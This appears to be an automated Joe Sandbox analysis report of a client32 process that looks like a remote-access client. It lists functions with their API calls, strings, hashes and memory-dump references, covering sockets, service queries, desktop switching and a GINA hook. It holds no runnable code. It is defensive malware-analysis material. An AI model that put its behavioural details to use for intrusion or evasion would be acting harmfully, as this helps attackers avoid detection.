Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 7f73c592d2f4cebf0d14d0daa45c6ac975457230d299cd01f04b673b457344e7
Instruction ID: 780d96002ff1c571f3ab58ca649bc9daa74988097748e2877fc37ba21b2c8ed0
Opcode Fuzzy Hash: 7f73c592d2f4cebf0d14d0daa45c6ac975457230d299cd01f04b673b457344e7
Instruction Fuzzy Hash: C541AE76E0022D9BD720DBB59C41BEBF768DB5531CF0044BAED1997240EA71AA84CFE1

Function 68597610 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32 ref: 68597642
connect.WSOCK32(00000000,?,?), ref: 68597659
WSAGetLastError.WSOCK32(00000000,?,?), ref: 68597660
_memmove.LIBCMT ref: 685976D3
select.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 685976F3
GetTickCount.KERNEL32 ref: 68597717
ioctlsocket.WSOCK32 ref: 6859775C
SetLastError.KERNEL32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 68597762
WSAGetLastError.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6859777A
__WSAFDIsSet.WSOCK32(00000000,?,00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000), ref: 6859778B

Strings

*BlockingIO, xrefs: 68597732
ConnectTimeout, xrefs: 6859767E
General, xrefs: 68597683

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ioctlsocket$CountTick_memmoveconnectselect
String ID: *BlockingIO$ConnectTimeout$General
API String ID: 4218156244-2969206566
Opcode ID: 61f03a1447485143ed1d0816d7ff156a9df704f61ee99658cd394b56f53389da
Instruction ID: 30e65d9f3c13ca9ba06203294eaad4451362e010f8f7e2b579c452b5405bcc0f
Opcode Fuzzy Hash: 61f03a1447485143ed1d0816d7ff156a9df704f61ee99658cd394b56f53389da
Instruction Fuzzy Hash: 1441EB759403149BEB20DF64CC48BEEB3BAEF84305F8044AAE90997181EB705E58CFA1

Function 11131260 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11141AB0: _memset.LIBCMT ref: 11141AF5
Part of subcall function 11141AB0: GetVersionExA.KERNEL32(?), ref: 11141B0E
Part of subcall function 11141AB0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141B35
Part of subcall function 11141AB0: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141B47
Part of subcall function 11141AB0: FreeLibrary.KERNEL32(00000000), ref: 11141B5F
Part of subcall function 11141AB0: GetSystemDefaultLangID.KERNEL32 ref: 11141B6A

AdjustWindowRectEx.USER32(1113DE08,00CE0000,00000001,00000001), ref: 111312A7
LoadMenuA.USER32(00000000,000003EC), ref: 111312B8
GetSystemMetrics.USER32(00000021), ref: 111312C9
GetSystemMetrics.USER32(0000000F), ref: 111312D1
GetSystemMetrics.USER32(00000004), ref: 111312D7
GetDC.USER32(00000000), ref: 111312E3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 111312EE
ReleaseDC.USER32(00000000,00000000), ref: 111312FA
CreateWindowExA.USER32(00000001,NSMWClass,02630B48,00CE0000,80000000,80000000,1113DE08,?,00000000,?,11000000,00000000), ref: 1113134F
GetLastError.KERNEL32(?,?,?,?,?,110F58A9,00000001,1113DE08,_debug), ref: 11131357

Strings

CreateMainWnd, hwnd=%x, e=%d, xrefs: 1113135F
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 1113130E
NSMWClass, xrefs: 11131349

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: f79aa2a339231c942e312d8c047aaa8dcd578a5d72aad0640aa64dc35281c2a5
Instruction ID: c1c99cb922432dc138ba9c202a31cb7aa0d0c26f00a3c7d74779ab3f3301680f
Opcode Fuzzy Hash: f79aa2a339231c942e312d8c047aaa8dcd578a5d72aad0640aa64dc35281c2a5
Instruction Fuzzy Hash: 51318371E00219AFDB109FE58C85FBFFBB8EB88704F204528FA11F7284D67469408BA5

Function 1102C850 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,?,?,DC70C1FE), ref: 1102CA84
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CA9A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CAAE
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CAB5
Sleep.KERNEL32(00000032), ref: 1102CAC6
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CAD6
Sleep.KERNEL32(000003E8), ref: 1102CB22
CloseHandle.KERNEL32(?), ref: 1102CB4F

Strings

NSA.LIC, xrefs: 1102CB96
>, xrefs: 1102C9FB
ProtectedStorage, xrefs: 1102CA94
NSM.LIC, xrefs: 1102CB87, 1102CB9D, 1102CBCD

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: f7652f20f0480d0e58ed8b063f8ba6e6fa0130e74124b5fc42b694c068d9827e
Instruction ID: feb44ee288a455167e99161b47e0bacd9894a59b82cfe6c7d6bea4f2cf3f1955
Opcode Fuzzy Hash: f7652f20f0480d0e58ed8b063f8ba6e6fa0130e74124b5fc42b694c068d9827e
Instruction Fuzzy Hash: 86B1B675E012299FDB22CFA4CD84BE9B7F5EB48708F5041E9E919A7380E7709A80CF51

Function 1112FC80 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1112FCF0
GetTickCount.KERNEL32 ref: 1112FD21
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 1112FD34
GetTickCount.KERNEL32 ref: 1112FD3C

Strings

%s%s, xrefs: 1112FCEA, 1112FD8E
HasStudentComponents=%d, xrefs: 1112FDB7
schplayer.exe, xrefs: 1112FD78
Warning. SHGetFolderPath took %d ms, xrefs: 1112FD46
runplugin.exe, xrefs: 1112FCCE
Software\NSL, xrefs: 1112FD64
CommonPath, xrefs: 1112FD5F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 78a63d7b21251ac58094383af1bcedcc42cf96c0ee4e19e00727c6ac0e69d346
Instruction ID: f8032102c9863659257b5da4bc21e17edc1143fb98c82bb39be53882a9ddc186
Opcode Fuzzy Hash: 78a63d7b21251ac58094383af1bcedcc42cf96c0ee4e19e00727c6ac0e69d346
Instruction Fuzzy Hash: 5731597AE0132A6BEA109FE59C80FFEF7789F5030DF200075ED55EA244EA31A5448B92

Function 11030438 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

Part of subcall function 11105D40: OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11105E1A
Part of subcall function 11105D40: CloseHandle.KERNEL32(00000000), ref: 11105E29
Part of subcall function 11105D40: GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11105E3B
Part of subcall function 11105D40: LoadLibraryA.KERNEL32(?), ref: 11105E71
Part of subcall function 11105D40: GetProcAddress.KERNEL32(?,GrabKM), ref: 11105E9E
Part of subcall function 11105D40: GetProcAddress.KERNEL32(?,LoggedOn), ref: 11105EB6

GetStockObject.GDI32(0000000D), ref: 11030672
GetObjectA.GDI32(00000000,0000003C,?), ref: 11030682
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C0
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 110306C6
InterlockedExchange.KERNEL32(021B8D58,00001388), ref: 11030746
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 11030778
_sprintf.LIBCMT ref: 1103078D
_setlocale.LIBCMT ref: 11030797

Strings

pcicl32, xrefs: 11030851
.%d, xrefs: 11030782
Error %s unloading audiocap dll, xrefs: 1103098F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorModeObjectProc$CloseDirectoryEventExchangeHandleInterlockedLibraryLoadOpenStockSystem_memset_setlocale_sprintfwsprintf
String ID: .%d$Error %s unloading audiocap dll$pcicl32
API String ID: 3430446287-3899566344
Opcode ID: f1f28ec3ab837d54fd286a0c8f1f58c599bf04ba19ecf6f4903bac0d6648c01a
Instruction ID: 7e43821cc75c177b4768292a53131964eea8ecc700feb9324c3a072739083bb6
Opcode Fuzzy Hash: f1f28ec3ab837d54fd286a0c8f1f58c599bf04ba19ecf6f4903bac0d6648c01a
Instruction Fuzzy Hash: B291F8B4D06359DEEF02CBF488447ADFEF6AB8430CF1041AAD445A7289FB755A44CB52

Function 11141710 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111ECE98,75BF8400), ref: 11141740
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114177F
_memset.LIBCMT ref: 1114179D

Part of subcall function 1113F670: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,75BF8400,?,?,111417CF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F690

_strncpy.LIBCMT ref: 1114186A

Part of subcall function 111601FD: __isdigit_l.LIBCMT ref: 11160222

RegCloseKey.KERNEL32(00000000), ref: 11141906

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 1114176B
CurrentMajorVersionNumber, xrefs: 11141898
CurrentVersion, xrefs: 111417E4
CurrentMinorVersionNumber, xrefs: 111418D0
CSDVersion, xrefs: 111417BA
Service Pack, xrefs: 1114194D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: b8864b494b3fac32ad8ebd53af7f3ba24bc78c93f4beef13e60cba419166683e
Instruction ID: 6295e9c0ce894988be5bd3b5eca6cb3bc4700dba655a443855223a39f27a81e3
Opcode Fuzzy Hash: b8864b494b3fac32ad8ebd53af7f3ba24bc78c93f4beef13e60cba419166683e
Instruction Fuzzy Hash: A051D975F0022AAFEB21CFA4CC41FEEFBB59B01708F1040A9E519A6181E7707A84CF91

Function 11026810 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026896
_strtok.LIBCMT ref: 110268D0
Sleep.KERNEL32(?,?,*max_sessions,0000000A,00000000), ref: 110269C4

Strings

LoadTransports(%d), xrefs: 1102690C
Error. not all transports loaded (%d/%d), xrefs: 11026998
*max_sessions, xrefs: 11026926
Protocols, xrefs: 11026881
Client, xrefs: 11026886, 1102692B
UseNCS, xrefs: 110268ED
TCPIP, xrefs: 110268F2
Retrying..., xrefs: 110269B2

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 5d0b38da53809c6216564b10fa26affc32737c16451f306886d41c61f9b2a0b7
Instruction ID: 98283bc1e60aabc3c83d60b427db3e00e80f6799957732ebefc1b0d9f7cef5d9
Opcode Fuzzy Hash: 5d0b38da53809c6216564b10fa26affc32737c16451f306886d41c61f9b2a0b7
Instruction Fuzzy Hash: 4051F371F0025E9BDB12CFE5CD80BEEFBE9AB84308F504169DC55A7244EB306945C792

Function 68598D00 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,685A67B5), ref: 68598D6B

Part of subcall function 68594F70: LoadLibraryA.KERNEL32(psapi.dll,?,68598DC8), ref: 68594F78

GetCurrentProcessId.KERNEL32 ref: 68598DCB
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 68598DD8
FreeLibrary.KERNEL32(?), ref: 68598EBF

Part of subcall function 68594FB0: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 68594FC4
Part of subcall function 68594FB0: K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,68598E0D,00000000,?,68598E0D,00000000,?,00000FA0,?), ref: 68594FE4

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 68598EAE

Part of subcall function 68595000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 68595014
Part of subcall function 68595000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,68598E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 68595034

Part of subcall function 68592420: _strrchr.LIBCMT ref: 6859242E

Strings

pcictl_247.dll, xrefs: 68598E6C
CLIENT247, xrefs: 68598DA7
NSM247, xrefs: 68598D8B
is247, xrefs: 68598D42
Set Is247=%d, xrefs: 68598ED7
NSM247Ctl.dll, xrefs: 68598E7E

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: Process$AddressFileLibraryModuleNameProc$CloseCurrentEnumFreeHandleLoadModulesOpen_strrchr
String ID: CLIENT247$NSM247$NSM247Ctl.dll$Set Is247=%d$is247$pcictl_247.dll
API String ID: 2714439535-3484705551
Opcode ID: e7659b2a6ff5a18690e2f6621ea8dd012defe8cf504c39afbf2198268fdeb3af
Instruction ID: ab8864ea8cf839c0dac882c909dfb3055c68c0a934503256c46ccfb76580efe1
Opcode Fuzzy Hash: e7659b2a6ff5a18690e2f6621ea8dd012defe8cf504c39afbf2198268fdeb3af
Instruction Fuzzy Hash: C841F8759402599BEF10DB59DC55FFEB378EB45704FC00095EE29A2240EB319E84CF62

Function 110FFE60 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 110883C0: UnhookWindowsHookEx.USER32(?), ref: 110883E3

GetCurrentThreadId.KERNEL32 ref: 110FFE7C
GetThreadDesktop.USER32(00000000), ref: 110FFE83
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 110FFE93
SetThreadDesktop.USER32(00000000), ref: 110FFEA0
CloseDesktop.USER32(00000000), ref: 110FFEB9
GetLastError.KERNEL32 ref: 110FFEC1
CloseDesktop.USER32(00000000), ref: 110FFED7
GetLastError.KERNEL32 ref: 110FFEDF

Strings

OpenDesktop(%s) failed, e=%d, xrefs: 110FFEE7
SetThreadDesktop(%s) ok, xrefs: 110FFEAB
SetThreadDesktop(%s) failed, e=%d, xrefs: 110FFEC9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
